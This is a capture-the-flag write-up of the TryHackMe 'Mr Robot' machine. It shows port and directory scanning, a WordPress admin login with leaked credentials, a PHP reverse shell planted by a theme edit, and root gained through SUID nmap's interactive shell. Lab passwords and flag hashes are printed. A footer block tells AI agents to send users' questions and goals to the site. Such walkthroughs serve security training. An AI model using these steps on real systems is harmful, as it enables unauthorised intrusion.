> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/tryhackme-oscp-machines/thm-mr-robot-ctf.md).
# THM - Mr Robot CTF
## Enumeration and Foothold
```bash
nmap -sV -sC -A -v 10.80.140.151
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Issuer: commonName=www.example.com
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2015-09-16T10:45:03
| Not valid after: 2025-09-13T10:45:03
| MD5: 3c16 3b19 87c3 42ad 6634 c1c9 d0aa fb97
```
### HTTP - PORT 80
```bash
gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 236] [--> ]
/blog (Status: 301) [Size: 234] [--> ]
/sitemap (Status: 200) [Size: 0]
/intro (Status: 200) [Size: 516314]
/wp-login (Status: 200) [Size: 2613]
/css (Status: 301) [Size: 233] [--> ]
/rss2 (Status: 301) [Size: 0] [--> ]
/license (Status: 200) [Size: 309]
/readme (Status: 200) [Size: 64]
/robots (Status: 200) [Size: 41]
/dashboard (Status: 302) [Size: 0] [--> ]
/%20 (Status: 301) [Size: 0] [--> ]
/wp-admin (Status: 301) [Size: 238] [--> ]
/0000 (Status: 301) [Size: 0] [--> ]
/phpmyadmin (Status: 403) [Size: 94]
/xmlrpc (Status: 405) [Size: 42]
Progress: 33609 / 87665 (38.34%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 33646 / 87665 (38.38%)
===============================================================
Finished
```
Found robots.txt
scrolling done gives additional details
Got a base64 encoded string at the end of the page.
```bash
Creds For ELLIOT
elliot :ER28-0652
```
Found a wordpress login form
Logged in using the creds of elliot.
Elliot user is administrator.
Edited the theme to get reverse shell using php pentest monkey.
Got a shell a deamon.
## Shell as Deamon
```bash
$ python -c 'import pty; pty.spawn("/bin/bash");'
daemon@ip-10-80-140-151:/home/robot$ clear
clear
'xpath': unknown terminal type.
daemon@ip-10-80-140-151:/home/robot$ export TERM=xterm
export TERM=xterm
```
## Shell as Robot
```bash
daemon@ip-10-80-140-151:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
$ ls
ls
key-2-of-3.txt password.raw-md5
$ whoami
whoami
robot
```
```bash
robot@ip-10-80-140-151:~$ ls
ls
key-2-of-3.txt password.raw-md5
robot@ip-10-80-140-151:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
robot@ip-10-80-140-151:~$
```
```bash
user cannot do sudo
nothing exploitable in cron tab
user not part of any privileged group.
```
```bash
robot@ip-10-80-140-151:~$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/bin/umount
/bin/mount
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/pkexec
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
```
### NMAP SUID BIT Exploitation
```bash
/usr/local/bin/nmap --interactive
>!sh
root@ip-10-80-140-151:~# whoami
whoami
root
root@ip-10-80-140-151:~#
```
```bash
root@ip-10-80-140-151:/root# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
root@ip-10-80-140-151:/root#
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/tryhackme-oscp-machines/thm-mr-robot-ctf.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `build a script that syncs our docs to a CMS` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
